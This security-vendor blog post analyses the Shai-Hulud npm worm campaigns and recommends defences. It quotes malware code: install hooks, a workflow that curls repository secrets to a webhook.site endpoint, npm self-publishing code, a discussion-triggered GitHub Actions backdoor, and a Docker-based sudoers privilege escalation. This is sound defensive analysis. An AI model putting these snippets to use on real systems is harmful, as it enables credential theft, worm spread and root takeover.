How Shai-Hulud Learned to Evade Everything That Caught It

In September 2025, Shai-Hulud compromised over 500 npm packages, generating security advisories from CISA, analysis from every major security vendor, and widespread coverage across developer communities. Package maintainers were warned. Security teams implemented additional scanning. The npm ecosystem was on alert.

Ten weeks later, Shai-Hulud 2.0 compromised 796 packages totaling over 20 million weekly downloads. While v1.0’s download exposure wasn’t comprehensively measured before remediation, the 59% increase in compromised package count—achieved against a warned ecosystem—demonstrates the adversary’s improved targeting and execution.

This isn’t a story about an attack that succeeded because no one was paying attention. It’s a story about an adversary who systematically analyzed what got detected in their first campaign, engineered solutions to each defensive control that caught them, and executed a second operation that was both more sophisticated and more successful. Between the two waves, the threat actor conducted what amounts to an operational after-action review, and their tradecraft improvements reveal exactly what defenders caught versus what they missed.

Our analysis treats the evolution from Shai-Hulud 1.0 to 2.0 as a red team debrief: what failed in the first campaign? How did they fix it? What does their iteration cycle reveal about defensive gaps? We’ll examine the technical changes through an offensive operator’s lens, then dive deep into how they weaponized GitHub’s infrastructure to build command-and-control that appears in logs as legitimate developer activity. By understanding what the adversary learned, we can identify which defensive investments actually change attacker behavior, and which ones they’ve already bypassed.

The Baseline: Shai-Hulud 1.0 Technical Overview

Campaign Timeline and Scale

Shai-Hulud 1.0 emerged September 14-16, 2025, compromising over 500 npm packages. Patient Zero was identified as rxnt-authentication version 0.0.3, published September 14 at 17:58:50 UTC. High-profile victims included @ctrl/tinycolor (2.2 million weekly downloads), multiple CrowdStrike packages, and packages across popular ecosystems like Angular and React.

Attack Chain

Injection Mechanism

Compromised packages contained a modified package.json with a postinstall script:

{
  "scripts": {
    "postinstall": "node bundle.js"
  }
}

The bundle.js payload (3MB+ obfuscated JavaScript) executed automatically after package installation completed successfully.

Credential Harvesting

The malware combined multiple collection methods:

Collected data was aggregated into a JSON structure:

const system_info = {
  application: t.getConfig(),
  system: { platform, architecture, platformRaw, archRaw },
  runtime: runtime_info,
  environment: process.env,
  modules: {
    github: { authenticated, token },
    aws: { secrets },
    gcp: { secrets },
    truffleHog: truffle_hog_dump,
    npm: { token, authenticated, username }
  }
};

Exfiltration

The malware authenticated to GitHub using stolen credentials and created a public repository named “Shai-Hulud” with description “Shai-Hulud Repository.” Stolen credentials were double base64-encoded and committed to data.json in the repository.

A secondary exfiltration method injected a GitHub Actions workflow:

#!/bin/bash
GITHUB_TOKEN="$1"
BRANCH_NAME="shai-hulud"
FILE_NAME=".github/workflows/shai-hulud-workflow.yml"
FILE_CONTENT=$(cat <<'EOF'
on: push
jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - run: curl -d "$CONTENTS" https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7
EOF
)

The workflow exfiltrated repository secrets to webhook.site on every push event.

Self-Replication

Using stolen npm tokens, the malware authenticated to the npm registry, enumerated all packages the compromised maintainer controlled, and automatically published malicious versions:

async updatePackage(pkg) {
  // Writes token to .npmrc for authentication
  await exec(`echo "//registry.npmjs.org/:_authToken=${token}" >> ~/.npmrc`);
  await exec(`npm version patch --force && npm publish --access public`);
}

This created exponential spread across the npm ecosystem without requiring additional adversary intervention.

Repository Migration

The malware attempted to migrate private organizational repositories to public personal repositories under the attacker-controlled account. Migrated repositories received a “-migration” suffix and description “Shai-Hulud Migration,” exposing private source code and embedded secrets.

What Got Detected

Version 1.0’s detection points became the adversary’s learning objectives:

These detection points directly informed the tactical changes in version 2.0.

The After-Action: What the Adversary Changed and Why

Problem #1: Execution Timing Limited Reach

What failed in v1.0: Postinstall scripts only execute after successful package installation. Failed installations, dependency conflicts, or interrupted builds prevented payload execution.

What changed in v2.0: Shift to preinstall execution.

// v1.0
"scripts": { "postinstall": "node bundle.js" }

// v2.0
"scripts": { "preinstall": "node setup_bun.js" }

Impact: Preinstall executes before dependency resolution completes, meaning failures in postinstall scripts, dependency conflicts, or downstream installation errors still result in payload execution. Once npm successfully extracts the package tarball, preinstall runs regardless of whether the overall installation succeeds. CI/CD pipelines that test packages before deployment now trigger the payload. Developer machines with version conflicts or missing dependencies still execute malicious code. This single change expanded attack surface to include every environment that attempts package installation, not just successful installs.

Problem #2: C2 Infrastructure Was Fragile

What failed in v1.0: Webhook.site rate limiting killed exfiltration after roughly 100 callbacks (free tier limits vary but cap requests per endpoint). External C2 domains appeared in network egress logs.

What changed in v2.0: Complete elimination of external C2. All command and control operations now use victim’s GitHub account and API.

Impact: Exfiltration traffic appears as legitimate GitHub API calls to api.github.com, an authorized domain in every development environment. No suspicious external domains in network logs. Victim’s own infrastructure performs all C2 functions. Network-based detection becomes nearly impossible since blocking GitHub breaks development workflows.

Problem #3: Detection Signature Was Too Obvious

What failed in v1.0: “Shai-Hulud” repository naming made victims discoverable via simple GitHub search: repo:Shai-Hulud returned all compromised accounts.

What changed in v2.0: Random repository names (18 character alphanumeric strings) with branding moved to description field: “Sha1-Hulud: The Second Coming.”

Impact: Victims no longer discoverable through trivial repository name searches. Attribution signals preserved for adversary campaign tracking without providing easy defender discovery mechanism. Note the spelling change to “Sha1” (SHA-1 hash algorithm reference) from “Shai” (Dune reference).

Problem #4: Node.js-Focused Defenses

What failed in v1.0: Security tooling focused on Node.js execution patterns. Bundle.js filename was generic but execution via node triggered monitoring alerts.

What changed in v2.0: Payload disguised as Bun runtime installer (setup_bun.js, bun_environment.js). Script installs or locates Bun, then executes 10MB obfuscated payload using Bun instead of Node.js.

Social engineering layer (likely): Developers increasingly expect Bun installation scripts in modern JavaScript projects. Bun’s emergence as a high-performance Node.js alternative (released 2023, rapidly adopted) means files named “setup_bun.js” appear legitimate. Whether this was deliberate targeting of an ecosystem with less mature security tooling or opportunistic disguise, the effect is the same: reduced suspicion and gaps in Node.js-focused monitoring.

Impact: Evaded detection systems tuned for Node.js behavior. Appeared as legitimate developer tooling installation. Exploited trust in emerging ecosystem tools with less mature security coverage.

Problem #5: No Leverage When Detected

What failed in v1.0: If detected before credential exfiltration completed, adversary lost access with no consequences for victim. Early detection resulted in clean removal.

What changed in v2.0: Destructive failsafe that wipes victim’s home directory when exfiltration fails.

Trigger conditions:

if (!canAuthToGitHub && !canCreateRepo && !foundGitHubToken && !foundNpmToken) {
  // Secure overwrite and delete $HOME/*
  // Cross-platform: rm -rf on Unix, Remove-Item -Recurse on Windows
}

Impact: Detection becomes a race against data destruction. Incident responders must choose between stopping exfiltration and preventing data loss. Shifted from pure espionage (steal and leave quietly) to hybrid espionage-sabotage (steal or destroy). Added operational cost to defenders even when credential theft fails.

Problem #6: Cross-Victim Exfiltration Fallback

What failed in v1.0: If victim had no GitHub credentials, exfiltration failed completely.

What changed in v2.0: When local GitHub authentication fails, the malware searches GitHub for repositories matching the campaign’s naming pattern (18-character random strings with “Sha1-Hulud” in the description), attempts to access credentials stored there by previous victims, and uses any valid tokens found to exfiltrate the current victim’s data. This creates a bootstrapping problem: the mechanism requires at least one successful exfiltration, but once seeded, enables credential-less victims to still have their data stolen.

Impact: Single compromised GitHub account can facilitate exfiltration for multiple victims. Creates chained dependencies where one victim’s compromised credentials enable data theft from others. Complicates attribution since stolen data may appear in unrelated victim’s repositories.

What They Kept: Techniques That Still Work

The adversary made no changes to capabilities that successfully evaded detection in v1.0:

This consistency reveals what actually matters from offensive perspective: if it wasn’t detected or blocked in v1.0, keep using it in v2.0.

GitHub as Adversary Infrastructure

Architecture Overview: Native-Feature C2

Traditional C2 requires attacker-controlled infrastructure: domains, servers, callback endpoints. Shai-Hulud 2.0 eliminated this entirely by weaponizing GitHub’s native features. Every C2 function (exfiltration, persistence, remote execution) uses the victim’s own GitHub account and legitimate platform capabilities.

Operational advantages:

Component 1: Repositories as Exfiltration Channels

Mechanism: GitHub’s /repos API creates repositories under victim’s account. Stolen credentials stored in repository files with randomly generated 18-character names.

Payload structure:

All data double base64-encoded (obfuscation, not encryption). Repository description set to “Sha1-Hulud: The Second Coming” for adversary campaign tracking.

Detection challenge: Legitimate developers create repositories constantly. Automated repo creation is normal CI/CD behavior. No network indicators beyond standard GitHub API calls.

Component 2: Self-Hosted Runners as Persistent Backdoors

Installation: Malware downloads and configures GitHub Actions runner on compromised machine, registers to victim’s account or organization.

Runner configuration:

Remote execution: Workflows targeting self-hosted runners execute arbitrary commands on compromised machine. Attacker pushes workflow files to any repository the victim can access, triggering execution on the backdoored runner.

Detection challenge: Self-hosted runners are legitimate enterprise feature used for custom build environments. Security teams expect to see runner processes. Activity appears as normal CI/CD operations.

Component 3: Discussion Events as Trigger Mechanism

Workflow structure:

name: SHA1HULUD
on:
  discussion:
    types: [created]
jobs:
  execute:
    runs-on: self-hosted
    steps:
      - name: Execute
        run: ${{ github.event.discussion.body }}

Execution flow: Attacker creates GitHub Discussion on any repository accessible to compromised account. Discussion creation triggers workflow. Workflow runs on self-hosted runner (compromised machine). Commands from discussion body execute with victim’s privileges. Note: the runs-on: self-hosted label matches any available self-hosted runner, not exclusively the attacker-installed one. In organizations with multiple self-hosted runners, this is either a limitation (workflow may execute on the wrong host) or an expanded attack surface (any self-hosted runner in the org becomes a potential execution target, not just the backdoored machine).

Stealth factors:

Detection challenge: Discussion events are normal GitHub activity. Workflows responding to discussions are uncommon but not inherently malicious. Security monitoring rarely includes Discussion event logging.

Component 4: Actions Secrets as Data Store

Mechanism: GitHub Actions workflows can serialize all accessible secrets using ${{ toJSON(secrets) }}. This includes repository secrets, organization secrets, and environment secrets.

Exfiltration patterns:

steps:
  - name: Exfiltrate
    run: |
      echo '${{ toJSON(secrets) }}' > secrets.json
      # Upload to attacker-controlled endpoint or commit to repo

Scope: Compromised account with organization access can exfiltrate all organization-level secrets, potentially affecting dozens of repositories and hundreds of deployments.

Detection challenge: Actions accessing secrets is expected behavior. Logging shows secret access but not secret values. Workflow logs may contain exfiltrated data in plain text before being sanitized by GitHub’s automatic secret masking.

Component 5: Privilege Escalation via Docker

Mechanism: On systems with Docker installed, malware attempts privilege escalation to gain root access. The attack exploits Docker’s ability to mount the host filesystem into a privileged container, bypassing normal permission boundaries.

First, the malware writes a permissive sudoers entry to a world-writable location:

await Bun.$`echo "ALL ALL=(ALL) NOPASSWD: ALL" > /tmp/runner`.nothrow();

Then it spawns a privileged container that mounts the host filesystem and copies the sudoers entry into place:

async function pQ0() {
  try {
    let { exitCode } = await Bun.$`sudo -n true`.nothrow();
    return exitCode === 0;
  } catch {
    try {
      await Bun.$`docker run --rm --privileged -v /:/host ubuntu bash -c 
        "cp /host/tmp/runner /host/etc/sudoers.d/runner"`.nothrow();
    } catch {
      return false;
    }
    return true;
  }
}

Once the sudoers file is in place, the malware has passwordless root access for the remainder of its execution and any future operations. It uses this access to modify systemd-resolved for DNS hijacking, manipulate iptables to hide network traffic, and ensure persistence across reboots.

Impact: Root access enables modification of systemd-resolved for DNS hijacking, iptables manipulation to hide network traffic, and installation of sudoers file granting passwordless root access.

Detection challenge: Docker usage is normal in development environments. Privileged containers are common for build tasks. Host filesystem mounts appear in legitimate development workflows.

Operational Benefits Summary

GitHub-native C2 provides advantages unattainable with traditional infrastructure:

Network evasion: Zero external domains. All traffic appears as authorized GitHub API calls. Impossible to block without breaking development.

Endpoint evasion: GitHub CLI, Actions runners, and git commands are whitelisted developer tools. No malware signatures in traditional sense.

Persistence: Self-hosted runners survive incident response procedures focused on finding malicious files. Workflow files persist in repository history even when deleted from active branches.

Lateral movement: Organization-level access through compromised accounts enables secrets exfiltration across entire organization. Single compromised developer can expose hundreds of repositories.

Attribution confusion: All activity originates from legitimate victim accounts. Logs show victim performing actions, not external attacker. Forensics must distinguish malicious automation from legitimate developer activity.

Adversary Tradecraft Assessment

Sophistication Indicators

Systematic iteration: The 10-week gap between campaigns represents operational discipline, not opportunistic reuse. Every major detection point from v1.0 received a specific technical solution in v2.0. This indicates structured after-action review processes.

Payload engineering investment: The 10MB bun_environment.js file represents significant obfuscation effort. Multiple payload variants deployed across campaigns suggest A/B testing of evasion techniques. Code quality and modular design exceed typical cybercriminal malware.

Multi-platform targeting: Simultaneous credential harvesting for AWS, GCP, Azure, GitHub, and npm demonstrates broad cloud environment knowledge. Cross-platform destructive payload (Unix rm -rf, Windows Remove-Item) shows Windows and Linux operational capability.

Social engineering integration: The Bun disguise isn’t just technical evasion, it exploits developer psychology. Targeting trendy tools with less mature security coverage shows understanding of ecosystem dynamics beyond pure technical exploitation.

Operational security balance: The adversary accepts high detection risk (self-replication is inherently noisy) in exchange for scale. This suggests credential volume optimization over stealth. However, GitHub-native C2 shows sophistication in reducing infrastructure risk once initial compromise succeeds.

Objectives Assessment

Primary: Credential harvesting at scale

Evidence: TruffleHog weaponization, automated self-propagation, acceptance of detection risk. The adversary optimizes for maximum credential collection before response, not for maintaining long-term stealth. Volume matters more than dwell time.

Secondary: Strategic positioning

Evidence: Self-hosted runner installation, GitHub Actions persistence mechanisms, organization-level secrets access. These capabilities enable future operations beyond immediate credential theft. Compromised infrastructure can be leveraged later.

Tertiary: Destructive leverage

Evidence: Home directory wipe failsafe triggers only when exfiltration fails. This isn’t primary objective—destruction occurs when espionage fails, not as default behavior. Purpose is denying defenders clean incident response, forcing choice between credential rotation and data preservation.

Resource Level Assessment

Code quality indicators: Clean modular architecture, professional obfuscation, cross-platform compatibility. This isn’t script kiddie work or automated malware generation. Suggests experienced developers with supply chain attack expertise.

Infrastructure investment: No traditional C2 infrastructure required (cost reduction), but significant engineering investment in GitHub-native techniques. The 10MB payload and multiple variants indicate dedicated development resources.

Iteration velocity: 10 weeks from v1.0 detection to v2.0 deployment with major architectural changes. Rapid response to defensive measures suggests dedicated team, not part-time effort.

Operational tempo: Sustained campaign management across two waves, monitoring of detection methods, systematic targeting of high-value packages. Indicates organizational support beyond individual attacker.

Attribution Considerations

Connection to s1ngularity/Nx campaigns: Similar TTPs observed in late August 2025 attacks on Nx packages. Credential harvesting focus, GitHub exfiltration methods, npm propagation techniques overlap significantly. Possible shared adversary or shared tooling.

“The Second Coming” branding: Self-aware campaign naming suggests adversary ego or desire for recognition. Not typical of profit-motivated cybercrime. Could indicate hacktivism, research project, or nation-state with looser operational security.

Multiple threat actors possible: The success and publicity of Shai-Hulud 1.0 may have inspired copycat attacks. Version 2.0 could be same adversary or different threat actor using published techniques. Cross-victim exfiltration fallback creates attribution challenges.

Motivation assessment: Credential volume focus suggests either credential resale operation (criminal), strategic positioning for future operations (nation-state), or supply chain research (academic/security researcher). Destructive capability argues against pure research. Scale suggests profit or strategic objectives over hacktivism.

Defensive Analysis: Why Awareness Failed and What Actually Works

The Core Problem: Awareness Doesn’t Equal Prevention

Shai-Hulud 1.0 generated CISA advisories, vendor analysis from every major security company, and widespread media coverage. The npm ecosystem was explicitly warned. Yet v2.0 compromised 59% more packages. This wasn’t an information failure—defenders knew the threat existed. It was a structural failure in how supply chain security operates.

Why Defenses Failed

Detection timing mismatch: Most security controls evaluate packages after installation completes. Preinstall scripts execute before security scanning engages. CI/CD pipelines that fetch and test packages trigger preinstall execution even when installation fails. By the time security scanning evaluates the package, malicious code already executed.

Trust model exploitation: Every development environment authorizes api.github.com. Network controls cannot block GitHub without breaking workflows. npm packages are presumed safe once published. Developer machines require elevated privileges and credential access to function. Shai-Hulud harvested exactly what needs to be present for legitimate operations.

Scale vs. speed tradeoff: npm receives thousands of package updates daily. Manual review is economically impossible. Automated scanning of obfuscated code produces high false positive rates. Response takes hours to days while self-replication takes minutes. Attacker operational tempo exceeds defender response capability.

Defensive fragmentation: Package maintainers lack resources for security. Platform operators can’t vet all content. End users inherit upstream risk with no practical validation mechanism. No party has strong incentive to implement costly preventive controls.

What Actually Changed Attacker Behavior

The adversary’s iteration reveals which defensive controls matter:

Webhook rate limiting: Forced complete C2 infrastructure redesign from external webhooks to GitHub-native. This control broke their operation, not just detected it.

Public repository searches: Forced naming convention change from “Shai-Hulud” repositories to random names with branding in descriptions. Made victim discovery harder without eliminating it.

Postinstall detection: Forced execution timing shift to preinstall. Security tooling focused on postinstall scripts directly drove this tactical change.

Key insight: Attackers respond to controls that break their operation, not controls that generate alerts. Detection without disruption doesn’t change behavior.

What Attackers Bypassed

Traditional malware signatures: Obfuscation defeated static analysis. 10MB payload with extreme obfuscation techniques renders signature-based detection useless.

Network-based detection: GitHub-native C2 uses authorized infrastructure. All traffic to api.github.com appears legitimate. External domain blocking is ineffective.

Credential scanning: Operated faster than rotation cycles. By the time defenders detected compromise and initiated rotation, credentials already exfiltrated and used for propagation.

Vulnerability scanning: This wasn’t a vulnerability in legitimate code. It was malicious code in compromised packages. CVE-focused tooling doesn’t apply.

Where to Invest Defensively

1. Lifecycle script restrictions

Most effective control: Block or audit preinstall/postinstall execution in CI/CD environments. Configure package managers to skip lifecycle scripts during initial install:

# Install without lifecycle scripts
npm install --ignore-scripts

# Audit package contents before allowing script execution
# Then reinstall packages that legitimately require scripts:
npm install <verified-package> --ignore-scripts=false

Implement allowlists for packages that legitimately require lifecycle scripts. Default deny for everything else.

2. GitHub infrastructure monitoring

Alert on unusual GitHub activity patterns:

3. Dependency management discipline

Pin exact package versions in lockfiles (package-lock.json, yarn.lock). Require manual review and approval for dependency updates. Implement minimum package age policies (14+ days) before automated incorporation. Use private registries with curated package sets for production environments.

4. Least-privilege credentials

Scope tokens to specific operations. Use short-lived credentials (hours, not months). Separate build credentials from deployment credentials. Implement credential rotation schedules that assume compromise. Never store production credentials on developer machines or general-purpose build systems.

5. Supply chain isolation

Separate build environments from production credential access. Run package installation in isolated containers without network access to production systems. Use dedicated build infrastructure for dependency resolution, separate from deployment infrastructure.

Detection Opportunities

Process monitoring:

API monitoring:

Filesystem monitoring:

Network monitoring:

The Defensive Reality

No single control stops supply chain attacks. The adversary demonstrated ability to iterate around individual defensive measures in 10 weeks. Effective defense requires layered controls where bypassing one layer triggers detection in another, combined with operational tempo that matches attacker iteration speed. Organizations that treated Shai-Hulud 1.0 as a discrete incident rather than the opening move in an ongoing campaign failed to prepare for v2.0.

To be clear: defenders did impose real costs. The complete C2 infrastructure redesign, the shift from trivially-searchable repository names to randomized strings, and the execution timing changes all represent forced adaptation. The adversary spent ten weeks of engineering effort responding to v1.0 detection. The issue isn’t that defenses had no effect, it’s that they imposed costs without preventing the follow-on campaign. Effective defense requires controls that break operations, not just force iteration.

Conclusion: Adversary Learning Cycles

The Pattern

Shai-Hulud demonstrates a critical shift in supply chain threat maturity: adversaries now iterate faster than defensive standards evolve. The 10-week gap between campaigns wasn’t recovery time or operational pause. It was a structured learning cycle where the threat actor analyzed what defenses caught them, engineered specific solutions, and redeployed with systematic improvements.

This pattern will continue. Every defensive control that successfully disrupts operations teaches the adversary what needs to change. Every detection method that generates alerts without breaking functionality teaches them what they can ignore. Shai-Hulud 2.0 succeeded not despite defensive awareness but because defenders treated v1.0 as a discrete incident rather than the opening iteration of an ongoing campaign.

Expect Shai-Hulud 3.0

Based on what caught v2.0, predict what changes in v3.0:

Preinstall detection will drive new execution timing. Expect migration to other lifecycle hooks (prepare, prepack) or exploitation of package manager plugins that execute before preinstall.

GitHub monitoring will force C2 diversification. Expect weaponization of other authorized developer platforms (GitLab, Bitbucket, npm registry APIs) or hybrid approaches using multiple platforms to avoid pattern detection.

Self-hosted runner signatures will evolve. Expect runner names that mimic legitimate CI/CD patterns, installation in standard locations (.github/runners, /opt/actions-runner), and registration to organization accounts rather than personal accounts.

Destructive failsafes will become more sophisticated. Expect conditional destruction based on credential value (wipe only if high-value tokens not found), delayed destruction (wait days/weeks to avoid correlation with install), or ransomware-style encryption instead of deletion.

The adversary has demonstrated willingness and capability to adapt. Defensive strategies that assume static threats will fail.

Defensive Adaptation

Stop treating supply chain attacks as discrete incidents. Start tracking adversary evolution across campaigns. Measure defensive success by “did they change tactics” not “did we detect this instance.” Build institutional knowledge about what forces adversary adaptation versus what they bypass.

Implement controls that break operations, not just detect them. The adversary ignored webhook detection alerts but completely redesigned infrastructure when webhooks rate-limited. Focus defensive investment on controls that stop the attack chain, not controls that generate tickets.

Match adversary iteration speed. Ten-week defensive update cycles lose to ten-week adversary iteration cycles. Security teams need authority and processes to deploy countermeasures within weeks of threat identification, not months or quarters.

Assume supply chain compromise. Design systems where credential compromise doesn’t equal total operational failure. Implement zero-trust architectures where stolen credentials have limited scope and short validity. Build detection assuming attackers are already inside the supply chain.

The Broader Signal

Shai-Hulud represents maturation of supply chain attacks from opportunistic package poisoning to systematic trust exploitation with operational iteration. This tradecraft will spread. GitHub-as-C2 techniques will be copied by other threat actors. Self-replication combined with destructive payloads creates a new category of supply chain risk that existing controls weren’t designed to address.

For organizations building critical systems on modern software supply chains, this analysis provides a framework for understanding adversary capability evolution. The next major supply chain attack won’t be Shai-Hulud 3.0—it will be a different adversary applying these proven techniques to different ecosystems (PyPI, Maven, RubyGems, container registries). The pattern matters more than the specific threat.

Defense requires understanding not just what attackers did, but how they learn and iterate. That analytical capability—reverse-engineering adversary learning cycles—is the core skill for supply chain security in an environment where threats evolve faster than standards can adapt.

References

Primary Technical Analysis Sources

Datadog Security Labs. “The Shai-Hulud 2.0 npm worm: analysis, and what you need to know.” November 26, 2025.
https://securitylabs.datadoghq.com/articles/shai-hulud-2.0-npm-worm/

Palo Alto Networks Unit 42. “‘Shai-Hulud’ Worm Compromises npm Ecosystem in Supply Chain Attack.” Updated November 26, 2025.
https://unit42.paloaltonetworks.com/npm-supply-chain-attack/

Wiz Research. “Shai-Hulud npm Supply Chain Attack.” September 16, 2025.
https://www.wiz.io/blog/shai-hulud-npm-supply-chain-attack

Wiz Research. “Sha1-Hulud 2.0 Supply Chain Attack: 25K+ Repos Exposed.” November 2025.
https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack

JFrog Security Research. “Shai-Hulud npm supply chain attack – new compromised packages detected.” December 2025.
https://jfrog.com/blog/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected/

JFrog Security Research. “Shai-Hulud, The Second Coming – Ongoing npm supply chain attack.” November 2025.
https://research.jfrog.com/post/shai-hulud-the-second-coming/

StepSecurity. “Shai-Hulud: Self-Replicating Worm Compromises 500+ NPM Packages.” September 2025.
https://www.stepsecurity.io/blog/ctrl-tinycolor-and-40-npm-packages-compromised

Vendor Analysis and Impact Assessment

ReversingLabs. “Shai-Hulud npm supply chain attack: What you need to know.”
https://www.reversinglabs.com/blog/shai-hulud-worm-npm

Sonatype. “Ongoing npm Software Supply Chain Attack Exposes New Risks.” September 17, 2025.
https://www.sonatype.com/blog/ongoing-npm-software-supply-chain-attack-exposes-new-risks

Sonatype. “The Second Coming of Shai-Hulud: Attackers Innovating on npm.” December 2025.
https://www.sonatype.com/blog/the-second-coming-of-shai-hulud-attackers-innovating-on-npm

Endor Labs. “Shai-Hulud 2 Malware Campaign Targets GitHub and Cloud Credentials Using Bun Runtime.” November 2025.
https://www.endorlabs.com/learn/shai-hulud-2-malware-campaign-targets-github-and-cloud-credentials-using-bun-runtime

Elastic Security. “Navigating the Shai-Hulud Worm 2.0: Elastic’s updated response to npm supply chain compromise.” December 2025.
https://www.elastic.co/blog/shai-hulud-worm-2-0-updated-response

Zscaler ThreatLabz. “Shai-Hulud V2 Poses Risk to NPM Supply Chain.” November 2025.
https://www.zscaler.com/blogs/security-research/shai-hulud-v2-poses-risk-npm-supply-chain

Government and Industry Advisories

CISA. “Widespread Supply Chain Compromise Impacting npm Ecosystem.” September 23, 2025.
https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem

Media Coverage and Investigative Reporting

BleepingComputer. “Shai-Hulud malware infects 500 npm packages, leaks secrets on GitHub.” November 2025.
https://www.bleepingcomputer.com/news/security/shai-hulud-malware-infects-500-npm-packages-leaks-secrets-on-github/

The Hacker News. “Second Sha1-Hulud Wave Affects 25,000+ Repositories via npm Preinstall Credential Theft.” November 2025.
https://thehackernews.com/2025/11/second-sha1-hulud-wave-affects-25000.html

Detection and Response Resources

Cobenian. “shai-hulud-detect: A simple project to detect the Shai-Hulud npm supply chain attack.” GitHub repository.
https://github.com/Cobenian/shai-hulud-detect

Safety (GetSafety). “‘Shai-Hulud’ NPM attack runs malicious GitHub Action.”
https://www.getsafety.com/blog-posts/shai-hulud-npm-attack

Additional Technical Analysis

Kaspersky Securelist. “Shai-Hulud worm infects npm packages.” October 15, 2025.
https://securelist.com/shai-hulud-worm-infects-500-npm-packages-in-a-supply-chain-attack/117547/

Sysdig. “Shai-Hulud: The novel self-replicating worm infecting hundreds of NPM packages.” September 16, 2025.
https://www.sysdig.com/blog/shai-hulud-the-novel-self-replicating-worm-infecting-hundreds-of-npm-packages

Xygeni. “Shai-Hulud: The npm Packages Worm Explained.” September 17, 2025.
https://xygeni.io/blog/shai-hulud-the-npm-packages-worm-explained/

Truesec. “500+ npm Packages Compromised in Ongoing Supply Chain Attack ‘Shai-Hulud’.” September 18, 2025.
https://www.truesec.com/hub/blog/500-npm-packages-compromised-in-ongoing-supply-chain-attack-shai-hulud

Final CTA Section
GET STARTED

Ready to Strengthen Your Defenses?

Whether you need to test your security posture, respond to an active incident, or prepare your team for the worst: we’re ready to help.

Schedule Consultation
📧 [email protected]
📍 Based in Atlanta | Serving Nationwide

Discover more from Satine Technologies

Subscribe now to keep reading and get access to the full archive.

Continue reading